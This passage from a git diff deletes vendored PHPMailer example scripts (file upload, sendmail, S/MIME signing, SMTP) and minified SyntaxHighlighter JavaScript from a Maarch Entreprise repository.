r=this+"",i=[],s=0,u,a;if(n===e||+n<0)n=Infinity;else{n=Math.floor(+n);if(!n)return[]}t=XRegExp.copyAsGlobal(t);while(u=t.exec(r)){if(t.lastIndex>s){i.push(r.slice(s,u.index)),u.length>1&&u.index<r.length&&Array.prototype.push.apply(i,u.slice(1)),a=u[0].length,s=t.lastIndex;if(i.length>=n)break}t.lastIndex===u.index&&t.lastIndex++}return s===r.length?(!o.test.call(t,"")||a)&&i.push(""):i.push(r.slice(s)),i.length>n?i.slice(0,n):i},XRegExp.addToken(/\(\?#[^)]*\)/,function(e){return o.test.call(r,e.input.slice(e.index+e[0].length))?"":"(?:)"}),XRegExp.addToken(/\((?!\?)/,function(){return this.captureNames.push(null),"("}),XRegExp.addToken(/\(\?<([$\w]+)>/,function(e){return this.captureNames.push(e[1]),this.hasNamedCapture=!0,"("}),XRegExp.addToken(/\\k<([\w$]+)>/,function(e){var t=d(this.captureNames,e[1]);return t>-1?"\\"+(t+1)+(isNaN(e.input.charAt(e.index+e[0].length))?"":"(?:)"):e[0]}),XRegExp.addToken(/\[\^?]/,function(e){return e[0]==="[]"?"\\b\\B":"[\\s\\S]"}),XRegExp.addToken(/^\(\?([imsx]+)\)/,function(e){return this.setFlag(e[1]),""}),XRegExp.addToken(/(?:\s+|#.*)+/,function(e){return o.test.call(r,e.input.slice(e.index+e[0].length))?"":"(?:)"},XRegExp.OUTSIDE_CLASS,function(){return this.hasFlag("x")}),XRegExp.addToken(/\./,function(){return"[\\s\\S]"},XRegExp.OUTSIDE_CLASS,function(){return this.hasFlag("s")})})();if(typeof SyntaxHighlighter=="undefined")var SyntaxHighlighter=function(){function t(e,t){return e.className.indexOf(t)!=-1}function n(e,n){t(e,n)||(e.className+=" "+n)}function r(e,t){e.className=e.className.replace(t,"")}function i(e){var t=[];for(var n=0;n<e.length;n++)t.push(e[n]);return t}function s(e){return e.split(/\r?\n/)}function o(e){var t="highlighter_";return e.indexOf(t)==0?e:t+e}function u(t){return e.vars.highlighters[o(t)]}function a(e){return document.getElementById(o(e))}function f(t){e.vars.highlighters[o(t.id)]=t}function l(e,t,n){if(e==null)return null;var r=n!=1?e.childNodes:[e.parentNode],i={"#":"id",".":"className"}[t.substr(0,1)]||"nodeName",s,o;s=i!="nodeName"?t.substr(1):t.toUpperCase();if((e[i]||"").indexOf(s)!=-1)return e;for(var u=0;r&&u<r.length&&o==null;u++)o=l(r[u],t,n);return o}function c(e,t){return l(e,t,!0)}function h(e,t,n){n=Math.max(n||0,0);for(var r=n;r<e.length;r++)if(e[r]==t)return r;return-1}function p(e){return(e||"")+Math.round(Math.random()*1e6).toString()}function d(e,t){var n={},r;for(r in e)n[r]=e[r];for(r in t)n[r]=t[r];return n}function v(e){var t={"true":!0,"false":!1}[e];return t==null?e:t}function m(e,t,n,r,i){var s=(screen.width-n)/2,o=(screen.height-r)/2;i+=", left="+s+", top="+o+", width="+n+", height="+r,i=i.replace(/^,/,"");var u=window.open(e,t,i);return u.focus(),u}function g(e,t,n,r){function i(e){e=e||window.event,e.target||(e.target=e.srcElement,e.preventDefault=function(){this.returnValue=!1}),n.call(r||window,e)}e.attachEvent?e.attachEvent("on"+t,i):e.addEventListener(t,i,!1)}function y(t){window.alert(e.config.strings.alert+t)}function b(t,n){var r=e.vars.discoveredBrushes,i=null;if(r==null){r={};for(var s in e.brushes){var o=e.brushes[s],u=o.aliases;if(u==null)continue;o.brushName=s.toLowerCase();for(var a=0;a<u.length;a++)r[u[a]]=s}e.vars.discoveredBrushes=r}return i=e.brushes[r[t]],i==null&&n&&y(e.config.strings.noBrush+t),i}function w(e,t){var n=s(e);for(var r=0;r<n.length;r++)n[r]=t(n[r],r);return n.join("\r\n")}function E(e){return e.replace(/^[ ]*[\n]+|[\n]*[ ]*$/g,"")}function S(e){var t,n={},r=new XRegExp("^\\[(?<values>(.*?))\\]$"),i=new XRegExp("(?<name>[\\w-]+)\\s*:\\s*(?<value>[\\w-%#]+|\\[.*?\\]|\".*?\"|'.*?')\\s*;?","g");while((t=i.exec(e))!=null){var s=t.value.replace(/^['"]|['"]$/g,"");if(s!=null&&r.test(s)){var o=r.exec(s);s=o.values.length>0?o.values.split(/\s*,\s*/):[]}n[t.name]=s}return n}function x(t,n){return t==null||t.length==0||t=="\n"?t:(t=t.replace(/</g,"<"),t=t.replace(/ {2,}/g,function(t){var n="";for(var r=0;r<t.length-1;r++)n+=e.config.space;return n+" "}),n!=null&&(t=w(t,function(e){if(e.length==0)return"";var t="";return e=e.replace(/^( | )+/,function(e){return t=e,""}),e.length==0?t:t+'<code class="'+n+'">'+e+"</code>"})),t)}function T(e,t){var n=e.toString();while(n.length<t)n="0"+n;return n}function N(e,t){var n="";for(var r=0;r<t;r++)n+=" ";return e.replace(/\t/g,n)}function C(e,t){function u(e,t,n){return e.substr(0,t)+i.substr(0,n)+e.substr(t+1,e.length)}var n=s(e),r=" ",i="";for(var o=0;o<50;o++)i+=" ";return e=w(e,function(e){if(e.indexOf(r)==-1)return e;var n=0;while((n=e.indexOf(r))!=-1){var i=t-n%t;e=u(e,n,i)}return e}),e}function k(t){var n=/<br\s*\/?>|<br\s*\/?>/gi;return e.config.bloggerMode==1&&(t=t.replace(n,"\n")),e.config.stripBrs==1&&(t=t.replace(n,"")),t}function L(e){return e.replace(/^\s+|\s+$/g,"")}function A(e){var t=s(k(e)),n=new Array,r=/^\s*/,i=1e3;for(var o=0;o<t.length&&i>0;o++){var u=t[o];if(L(u).length==0)continue;var a=r.exec(u);if(a==null)return e;i=Math.min(a[0].length,i)}if(i>0)for(var o=0;o<t.length;o++)t[o]=t[o].substr(i);return t.join("\n")}function O(e,t){return e.index<t.index?-1:e.index>t.index?1:e.length<t.length?-1:e.length>t.length?1:0}function M(t,n){function r(e,t){return e[0]}var i=0,s=null,o=[],u=n.func?n.func:r;while((s=n.regex.exec(t))!=null){var a=u(s,n);typeof a=="string"&&(a=[new e.Match(a,s.index,n.css)]),o=o.concat(a)}return o}function _(t){var n=/(.*)((>|<).*)/;return t.replace(e.regexLib.url,function(e){var t="",r=null;if(r=n.exec(e))e=r[1],t=r[2];return'<a href="'+e+'">'+e+"</a>"+t})}function D(){var e=document.getElementsByTagName("script"),t=[];for(var n=0;n<e.length;n++)e[n].type=="syntaxhighlighter"&&t.push(e[n]);return t}function P(e){var t="<![CDATA[",n="]]>",r=L(e),i=!1,s=t.length,o=n.length;r.indexOf(t)==0&&(r=r.substring(s),i=!0);var u=r.length;return r.indexOf(n)==u-o&&(r=r.substring(0,u-o),i=!0),i?r:e}function H(e){var t=e.target,i=c(t,".syntaxhighlighter"),s=c(t,".container"),o=document.createElement("textarea"),a;if(!s||!i||l(s,"textarea"))return;a=u(i.id),n(i,"source");var f=s.childNodes,h=[];for(var p=0;p<f.length;p++)h.push(f[p].innerText||f[p].textContent);h=h.join("\r"),h=h.replace(/\u00a0/g," "),o.appendChild(document.createTextNode(h)),s.appendChild(o),o.focus(),o.select(),g(o,"blur",function(e){o.parentNode.removeChild(o),r(i,"source")})}typeof require!="undefined"&&typeof XRegExp=="undefined"&&(XRegExp=require("XRegExp").XRegExp);var e={defaults:{"class-name":"","first-line":1,"pad-line-numbers":!1,highlight:null,title:null,"smart-tabs":!0,"tab-size":4,gutter:!0,toolbar:!0,"quick-code":!0,collapse:!1,"auto-links":!0,light:!1,unindent:!0,"html-script":!1},config:{space:" ",useScriptTags:!0,bloggerMode:!1,stripBrs:!1,tagName:"pre",strings:{expandSource:"expand source",help:"?",alert:"SyntaxHighlighter\n\n",noBrush:"Can't find brush for: ",brushNotHtmlScript:"Brush wasn't configured for html-script option: ",aboutDialog:"@ABOUT@"}},vars:{discoveredBrushes:null,highlighters:{}},brushes:{},regexLib:{multiLineCComments:/\/\*[\s\S]*?\*\//gm,singleLineCComments:/\/\/.*$/gm,singleLinePerlComments:/#.*$/gm,doubleQuotedString:/"([^\\"\n]|\\.)*"/g,singleQuotedString:/'([^\\'\n]|\\.)*'/g,multiLineDoubleQuotedString:new XRegExp('"([^\\\\"]|\\\\.)*"',"gs"),multiLineSingleQuotedString:new XRegExp("'([^\\\\']|\\\\.)*'","gs"),xmlComments:/(<|<)!--[\s\S]*?--(>|>)/gm,url:/\w+:\/\/[\w-.\/?%&=:@;#]*/g,phpScriptTags:{left:/(<|<)\?(?:=|php)?/g,right:/\?(>|>)/g,eof:!0},aspScriptTags:{left:/(<|<)%=?/g,right:/%(>|>)/g},scriptScriptTags:{left:/(<|<)\s*script.*?(>|>)/gi,right:/(<|<)\/\s*script\s*(>|>)/gi}},toolbar:{getHtml:function(t){function s(t,n){return e.toolbar.getButtonHtml(t,n,e.config.strings[n])}var n='<div class="toolbar">',r=e.toolbar.items,i=r.list;for(var o=0;o<i.length;o++)n+=(r[i[o]].getHtml||s)(t,i[o]);return n+="</div>",n},getButtonHtml:function(e,t,n){return'<span><a href="#" class="toolbar_item command_'+t+" "+t+'">'+n+"</a></span>"},handler:function(t){function i(e){var t=new RegExp(e+"_(\\w+)"),n=t.exec(r);return n?n[1]:null}var n=t.target,r=n.className||"",s=u(c(n,".syntaxhighlighter").id),o=i("command");s&&o&&e.toolbar.items[o].execute(s),t.preventDefault()},items:{list:["expandSource","help"],expandSource:{getHtml:function(t){if(t.getParam("collapse")!=1)return"";var n=t.getParam("title");return e.toolbar.getButtonHtml(t,"expandSource",n?n:e.config.strings.expandSource)},execute:function(e){var t=a(e.id);r(t,"collapsed")}},help:{execute:function(t){var n=m("","_blank",500,250,"scrollbars=0"),r=n.document;r.write(e.config.strings.aboutDialog),r.close(),n.focus()}}}},findElements:function(t,n){var r=n?[n]:i(document.getElementsByTagName(e.config.tagName)),s=e.config,o=[];s.useScriptTags&&(r=r.concat(D()));if(r.length===0)return o;for(var u=0;u<r.length;u++){var a={target:r[u],params:d(t,S(r[u].className))};if(a.params["brush"]==null)continue;o.push(a)}return o},highlight:function(t,n){var r=this.findElements(t,n),i="innerHTML",s=null,o=e.config;if(r.length===0)return;for(var u=0;u<r.length;u++){var n=r[u],a=n.target,f=n.params,l=f.brush,c;if(l==null)continue;if(f["html-script"]=="true"||e.defaults["html-script"]==1)s=new e.HtmlScript(l),l="htmlscript";else{var h=b(l);if(!h)continue;s=new h}c=a[i],o.useScriptTags&&(c=P(c)),(a.title||"")!=""&&(f.title=a.title),f.brush=l,s.init(f),n=s.getDiv(c),(a.id||"")!=""&&(n.id=a.id),a.parentNode.replaceChild(n,a)}},all:function(t){g(window,"load",function(){e.highlight(t)})}};return e.Match=function(e,t,n){this.value=e,this.index=t,this.length=e.length,this.css=n,this.brushName=null},e.Match.prototype.toString=function(){return this.value},e.HtmlScript=function(t){function f(e,t){for(var n=0;n<e.length;n++)e[n].index+=t}function l(e,t){var i=e.code,s=[],o=r.regexList,u=e.index+e.left.length,a=r.htmlScript,l;for(var c=0;c<o.length;c++)l=M(i,o[c]),f(l,u),s=s.concat(l);a.left!=null&&e.left!=null&&(l=M(e.left,a.left),f(l,e.index),s=s.concat(l)),a.right!=null&&e.right!=null&&(l=M(e.right,a.right),f(l,e.index+e[0].lastIndexOf(e.right)),s=s.concat(l));for(var h=0;h<s.length;h++)s[h].brushName=n.brushName;return s}var n=b(t),r,i=new e.brushes.Xml,s=null,o=this,u="getDiv getHtml init".split(" ");if(n==null)return;r=new n;for(var a=0;a<u.length;a++)(function(){var e=u[a];o[e]=function(){return i[e].apply(i,arguments)}})();if(r.htmlScript==null){y(e.config.strings.brushNotHtmlScript+t);return}i.regexList.push({regex:r.htmlScript.code,func:l})},e.Highlighter=function(){},e.Highlighter.prototype={getParam:function(e,t){var n=this.params[e];return v(n==null?t:n)},create:function(e){return document.createElement(e)},findMatches:function(e,t){var n=[];if(e!=null)for(var r=0;r<e.length;r++)typeof e[r]=="object"&&(n=n.concat(M(t,e[r])));return this.removeNestedMatches(n.sort(O))},removeNestedMatches:function(e){for(var t=0;t<e.length;t++){if(e[t]===null)continue;var n=e[t],r=n.index+n.length;for(var i=t+1;i<e.length&&e[t]!==null;i++){var s=e[i];if(s===null)continue;if(s.index>r)break;s.index==n.index&&s.length>n.length?e[t]=null:s.index>=n.index&&s.index<r&&(e[i]=null)}}return e},figureOutLineNumbers:function(e){var t=[],n=parseInt(this.getParam("first-line"));return w(e,function(e,r){t.push(r+n)}),t},isLineHighlighted:function(e){var t=this.getParam("highlight",[]);return typeof t!="object"&&t.push==null&&(t=[t]),h(t,e.toString())!=-1},getLineHtml:function(e,t,n){var r=["line","number"+t,"index"+e,"alt"+(t%2==0?1:2).toString()];return this.isLineHighlighted(t)&&r.push("highlighted"),t==0&&r.push("break"),'<div class="'+r.join(" ")+'">'+n+"</div>"},getLineNumbersHtml:function(t,n){var r="",i=s(t).length,o=parseInt(this.getParam("first-line")),u=this.getParam("pad-line-numbers");u==1?u=(o+i-1).toString().length:isNaN(u)==1&&(u=0);for(var a=0;a<i;a++){var f=n?n[a]:o+a,t=f==0?e.config.space:T(f,u);r+=this.getLineHtml(a,f,t)}return r},getCodeLinesHtml:function(t,n){t=L(t);var r=s(t),i=this.getParam("pad-line-numbers"),o=parseInt(this.getParam("first-line")),t="",u=this.getParam("brush");for(var a=0;a<r.length;a++){var f=r[a],l=/^( |\s)+/.exec(f),c=null,h=n?n[a]:o+a;l!=null&&(c=l[0].toString(),f=f.substr(c.length),c=c.replace(" ",e.config.space)),f=L(f),f.length==0&&(f=e.config.space),t+=this.getLineHtml(a,h,(c!=null?'<code class="'+u+' spaces">'+c+"</code>":"")+f)}return t},getTitleHtml:function(e){return e?"<caption>"+e+"</caption>":""},getMatchesHtml:function(e,t){function s(e){var t=e?e.brushName||i:i;return t?t+" ":""}var n=0,r="",i=this.getParam("brush","");for(var o=0;o<t.length;o++){var u=t[o],a;if(u===null||u.length===0)continue;a=s(u),r+=x(e.substr(n,u.index-n),a+"plain")+x(u.value,a+u.css),n=u.index+u.length+(u.offset||0)}return r+=x(e.substr(n),s()+"plain"),r},getHtml:function(t){var n="",r=["syntaxhighlighter"],i,s,u;return this.getParam("light")==1&&(this.params.toolbar=this.params.gutter=!1),className="syntaxhighlighter",this.getParam("collapse")==1&&r.push("collapsed"),(gutter=this.getParam("gutter"))==0&&r.push("nogutter"),r.push(this.getParam("class-name")),r.push(this.getParam("brush")),t=E(t).replace(/\r/g," "),i=this.getParam("tab-size"),t=this.getParam("smart-tabs")==1?C(t,i):N(t,i),this.getParam("unindent")&&(t=A(t)),gutter&&(u=this.figureOutLineNumbers(t)),s=this.findMatches(this.regexList,t),n=this.getMatchesHtml(t,s),n=this.getCodeLinesHtml(n,u),this.getParam("auto-links")&&(n=_(n)),typeof navigator!="undefined"&&navigator.userAgent&&navigator.userAgent.match(/MSIE/)&&r.push("ie"),n='<div id="'+o(this.id)+'" class="'+r.join(" ")+'">'+(this.getParam("toolbar")?e.toolbar.getHtml(this):"")+'<table border="0" cellpadding="0" cellspacing="0">'+this.getTitleHtml(this.getParam("title"))+"<tbody>"+"<tr>"+(gutter?'<td class="gutter">'+this.getLineNumbersHtml(t)+"</td>":"")+'<td class="code">'+'<div class="container">'+n+"</div>"+"</td>"+"</tr>"+"</tbody>"+"</table>"+"</div>",n},getDiv:function(t){t===null&&(t=""),this.code=t;var n=this.create("div");return n.innerHTML=this.getHtml(t),this.getParam("toolbar")&&g(l(n,".toolbar"),"click",e.toolbar.handler),this.getParam("quick-code")&&g(l(n,".code"),"dblclick",H),n},init:function(t){this.id=p(),f(this),this.params=d(e.defaults,t||{}),this.getParam("light")==1&&(this.params.toolbar=this.params.gutter=!1)},getKeywords:function(e){return e=e.replace(/^\s+|\s+$/g,"").replace(/\s+/g,"|"),"\\b(?:"+e+")\\b"},forHtmlScript:function(e){var t={end:e.right.source};e.eof&&(t.end="(?:(?:"+t.end+")|$)"),this.htmlScript={left:{regex:e.left,css:"script"},right:{regex:e.right,css:"script"},code:new XRegExp("(?<left>"+e.left.source+")"+"(?<code>.*?)"+"(?<right>"+t.end+")","sgi")}}},e}();typeof exports!="undefined"?exports.SyntaxHighlighter=SyntaxHighlighter:null \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shLegacy.js b/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shLegacy.js deleted file mode 100755 index 35c582c975b4259ba79b74d2cc3739205c213721..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shLegacy.js +++ /dev/null @@ -1,141 +0,0 @@ -var dp = { - SyntaxHighlighter : {} -}; - -dp.SyntaxHighlighter = { - parseParams: function( - input, - showGutter, - showControls, - collapseAll, - firstLine, - showColumns - ) - { - function getValue(list, name) - { - var regex = new XRegExp('^' + name + '\\[(?<value>\\w+)\\]$', 'gi'), - match = null - ; - - for (var i = 0; i < list.length; i++) - if ((match = regex.exec(list[i])) != null) - return match.value; - - return null; - }; - - function defaultValue(value, def) - { - return value != null ? value : def; - }; - - function asString(value) - { - return value != null ? value.toString() : null; - }; - - var parts = input.split(':'), - brushName = parts[0], - options = {}, - straight = { 'true' : true } - reverse = { 'true' : false }, - result = null, - defaults = SyntaxHighlighter.defaults - ; - - for (var i in parts) - options[parts[i]] = 'true'; - - showGutter = asString(defaultValue(showGutter, defaults.gutter)); - showControls = asString(defaultValue(showControls, defaults.toolbar)); - collapseAll = asString(defaultValue(collapseAll, defaults.collapse)); - showColumns = asString(defaultValue(showColumns, defaults.ruler)); - firstLine = asString(defaultValue(firstLine, defaults['first-line'])); - - return { - brush : brushName, - gutter : defaultValue(reverse[options.nogutter], showGutter), - toolbar : defaultValue(reverse[options.nocontrols], showControls), - collapse : defaultValue(straight[options.collapse], collapseAll), - // ruler : defaultValue(straight[options.showcolumns], showColumns), - 'first-line' : defaultValue(getValue(parts, 'firstline'), firstLine) - }; - }, - - HighlightAll: function( - name, - showGutter /* optional */, - showControls /* optional */, - collapseAll /* optional */, - firstLine /* optional */, - showColumns /* optional */ - ) - { - function findValue() - { - var a = arguments; - - for (var i = 0; i < a.length; i++) - { - if (a[i] === null) - continue; - - if (typeof(a[i]) == 'string' && a[i] != '') - return a[i] + ''; - - if (typeof(a[i]) == 'object' && a[i].value != '') - return a[i].value + ''; - } - - return null; - }; - - function findTagsByName(list, name, tagName) - { - var tags = document.getElementsByTagName(tagName); - - for (var i = 0; i < tags.length; i++) - if (tags[i].getAttribute('name') == name) - list.push(tags[i]); - } - - var elements = [], - highlighter = null, - registered = {}, - propertyName = 'innerHTML' - ; - - // for some reason IE doesn't find <pre/> by name, however it does see them just fine by tag name... - findTagsByName(elements, name, 'pre'); - findTagsByName(elements, name, 'textarea'); - - if (elements.length === 0) - return; - - for (var i = 0; i < elements.length; i++) - { - var element = elements[i], - params = findValue( - element.attributes['class'], element.className, - element.attributes['language'], element.language - ), - language = '' - ; - - if (params === null) - continue; - - params = dp.SyntaxHighlighter.parseParams( - params, - showGutter, - showControls, - collapseAll, - firstLine, - showColumns - ); - - SyntaxHighlighter.highlight(params, element); - } - } -}; diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/send_file_upload.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/send_file_upload.phps deleted file mode 100755 index 3004c7628a39badb96396490d1c01c6403a710e6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/send_file_upload.phps +++ /dev/null @@ -1,49 +0,0 @@ -<?php -/** - * PHPMailer simple file upload and send example - */ -$msg = ''; -if (array_key_exists('userfile', $_FILES)) { - // First handle the upload - // Don't trust provided filename - same goes for MIME types - // See http://php.net/manual/en/features.file-upload.php#114004 for more thorough upload validation - $uploadfile = tempnam(sys_get_temp_dir(), sha1($_FILES['userfile']['name'])); - if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { - // Upload handled successfully - // Now create a message - // This should be somewhere in your include_path - require '../PHPMailerAutoload.php'; - $mail = new PHPMailer; - $mail->setFrom('from@example.com', 'First Last'); - $mail->addAddress('whoto@example.com', 'John Doe'); - $mail->Subject = 'PHPMailer file sender'; - $mail->msgHTML("My message body"); - // Attach the uploaded file - $mail->addAttachment($uploadfile, 'My uploaded file'); - if (!$mail->send()) { - $msg .= "Mailer Error: " . $mail->ErrorInfo; - } else { - $msg .= "Message sent!"; - } - } else { - $msg .= 'Failed to move file to ' . $uploadfile; - } -} -?> -<!DOCTYPE html> -<html> -<head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> - <title>PHPMailer Upload</title> -</head> -<body> -<?php if (empty($msg)) { ?> - <form method="post" enctype="multipart/form-data"> - <input type="hidden" name="MAX_FILE_SIZE" value="100000"> Send this file: <input name="userfile" type="file"> - <input type="submit" value="Send File"> - </form> -<?php } else { - echo $msg; -} ?> -</body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/send_multiple_file_upload.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/send_multiple_file_upload.phps deleted file mode 100755 index ddb761468eb97be52678188d99671ca459ee70ac..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/send_multiple_file_upload.phps +++ /dev/null @@ -1,51 +0,0 @@ -<?php -/** - * PHPMailer multiple files upload and send example - */ -$msg = ''; -if (array_key_exists('userfile', $_FILES)) { - - // Create a message - // This should be somewhere in your include_path - require '../PHPMailerAutoload.php'; - $mail = new PHPMailer; - $mail->setFrom('from@example.com', 'First Last'); - $mail->addAddress('whoto@example.com', 'John Doe'); - $mail->Subject = 'PHPMailer file sender'; - $mail->msgHTML('My message body'); - //Attach multiple files one by one - for ($ct = 0; $ct < count($_FILES['userfile']['tmp_name']); $ct++) { - $uploadfile = tempnam(sys_get_temp_dir(), sha1($_FILES['userfile']['name'][$ct])); - $filename = $_FILES['userfile']['name'][$ct]; - if (move_uploaded_file($_FILES['userfile']['tmp_name'][$ct], $uploadfile)) { - $mail->addAttachment($uploadfile, $filename); - } else { - $msg .= 'Failed to move file to ' . $uploadfile; - } - } - if (!$mail->send()) { - $msg .= "Mailer Error: " . $mail->ErrorInfo; - } else { - $msg .= "Message sent!"; - } -} -?> -<!DOCTYPE html> -<html> -<head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> - <title>PHPMailer Upload</title> -</head> -<body> -<?php if (empty($msg)) { ?> - <form method="post" enctype="multipart/form-data"> - <input type="hidden" name="MAX_FILE_SIZE" value="100000"> - Select one or more files: - <input name="userfile[]" type="file" multiple="multiple"> - <input type="submit" value="Send Files"> - </form> -<?php } else { - echo $msg; -} ?> -</body> -</html> diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/sendmail.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/sendmail.phps deleted file mode 100755 index a830e4952826fe6d4c2c9b6d66e96c40a32b36df..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/sendmail.phps +++ /dev/null @@ -1,33 +0,0 @@ -<?php -/** - * This example shows sending a message using a local sendmail binary. - */ - -require '../PHPMailerAutoload.php'; - -//Create a new PHPMailer instance -$mail = new PHPMailer; -// Set PHPMailer to use the sendmail transport -$mail->isSendmail(); -//Set who the message is to be sent from -$mail->setFrom('from@example.com', 'First Last'); -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); -//Set the subject line -$mail->Subject = 'PHPMailer sendmail test'; -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo "Mailer Error: " . $mail->ErrorInfo; -} else { - echo "Message sent!"; -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/signed-mail.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/signed-mail.phps deleted file mode 100755 index 9d70d0134b0c7442e39cfb346bc6683f723ca929..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/signed-mail.phps +++ /dev/null @@ -1,89 +0,0 @@ -<?php -/** - * This example shows signing a message and then sending it via the mail() function of PHP. - * - * Before you can sign the mail certificates are needed. - * - * - * STEP 1 - Creating a certificate: - * You can either use a self signed certificate, pay for a signed one or use free alternatives such as StartSSL/Comodo etc. - * Check out this link for more providers: http://kb.mozillazine.org/Getting_an_SMIME_certificate - * In this example I am using Comodo. - * The form is directly available via https://secure.comodo.com/products/frontpage?area=SecureEmailCertificate - * Fill it out and you'll get an email with a link to download your certificate. - * Usually the certificate will be directly installed into your browser (FireFox/Chrome). - * - * - * STEP 2 - Exporting the certificate - * This is specific to your browser, however, most browsers will give you the option to export your recently added certificate in PKCS12 (.pfx) - * Include your private key if you are asked for it. - * Set up a password to protect your exported file. - * - * STEP 3 - Splitting the .pfx into a private key and the certificate. - * I use openssl for this. You only need two commands. In my case the certificate file is called 'exported-cert.pfx' - * To create the private key do the following: - * - * openssl pkcs12 -in exported-cert.pfx -nocerts -out cert.key - * - * Of course the way you name your file (-out) is up to you. - * You will be asked for a password for the Import password. This is the password you just set while exporting the certificate into the pfx file. - * Afterwards, you can password protect your private key (recommended) - * Also make sure to set the permissions to a minimum level and suitable for your application. - * To create the certificate file use the following command: - * - * openssl pkcs12 -in exported-cert.pfx -clcerts -nokeys -out cert.crt - * - * Again, the way you name your certificate is up to you. You will be also asked for the Import Password. - * To create the certificate-chain file use the following command: - * - * openssl pkcs12 -in exported-cert.pfx -cacerts -out certchain.pem - * - * Again, the way you name your chain file is up to you. You will be also asked for the Import Password. - * - * - * STEP 3 - Code - */ - -require '../PHPMailerAutoload.php'; - -//Create a new PHPMailer instance -$mail = new PHPMailer(); -//Set who the message is to be sent from -//IMPORTANT: This must match the email address of your certificate. -//Although the certificate will be valid, an error will be thrown since it cannot be verified that the sender and the signer are the same person. -$mail->setFrom('from@example.com', 'First Last'); -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); -//Set the subject line -$mail->Subject = 'PHPMailer mail() test'; -//Read an HTML message body from an external file, convert referenced images to embedded, -//Convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//Configure message signing (the actual signing does not occur until sending) -$mail->sign( - '/path/to/cert.crt', //The location of your certificate file - '/path/to/cert.key', //The location of your private key file - 'yourSecretPrivateKeyPassword', //The password you protected your private key with (not the Import Password! may be empty but parameter must not be omitted!) - '/path/to/certchain.pem' //The location of your chain file -); - -//Send the message, check for errors -if (!$mail->send()) { - echo "Mailer Error: " . $mail->ErrorInfo; -} else { - echo "Message sent!"; -} - -/** - * REMARKS: - * If your email client does not support S/MIME it will most likely just show an attachment smime.p7s which is the signature contained in the email. - * Other clients, such as Thunderbird support S/MIME natively and will validate the signature automatically and report the result in some way. - */ -?> diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/smtp.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/smtp.phps deleted file mode 100755 index 7c6b0239609c3413452a84e3fa30930185845d0a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/smtp.phps +++ /dev/null @@ -1,54 +0,0 @@ -<?php -/** - * This example shows making an SMTP connection with authentication. - */ - -//SMTP needs accurate times, and the PHP time zone MUST be set -//This should be done in your php.ini, but this is how to do it if you don't have access to that -date_default_timezone_set('Etc/UTC'); - -require '../PHPMailerAutoload.php'; - -//Create a new PHPMailer instance -$mail = new PHPMailer; -//Tell PHPMailer to use SMTP -$mail->isSMTP(); -//Enable SMTP debugging -// 0 = off (for production use) -// 1 = client messages -// 2 = client and server messages -$mail->SMTPDebug = 2; -//Ask for HTML-friendly debug output -$mail->Debugoutput = 'html'; -//Set the hostname of the mail server -$mail->Host = "mail.example.com"; -//Set the SMTP port number - likely to be 25, 465 or 587 -$mail->Port = 25; -//Whether to use SMTP authentication -$mail->SMTPAuth = true; -//Username to use for SMTP authentication -$mail->Username = "yourname@example.com"; -//Password to use for SMTP authentication -$mail->Password = "yourpassword"; -//Set who the message is to be sent from -$mail->setFrom('from@example.com', 'First Last'); -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); -//Set the subject line -$mail->Subject = 'PHPMailer SMTP test'; -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo "Mailer Error: " . $mail->ErrorInfo; -} else { - echo "Message sent!"; -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/smtp_check.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/smtp_check.phps deleted file mode 100755 index a5ac2c57d666da785dead5d2b2adef895c6a237b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/smtp_check.phps +++ /dev/null @@ -1,55 +0,0 @@ -<?php -/** - * This uses the SMTP class alone to check that a connection can be made to an SMTP server, - * authenticate, then disconnect - */ - -//SMTP needs accurate times, and the PHP time zone MUST be set -//This should be done in your php.ini, but this is how to do it if you don't have access to that 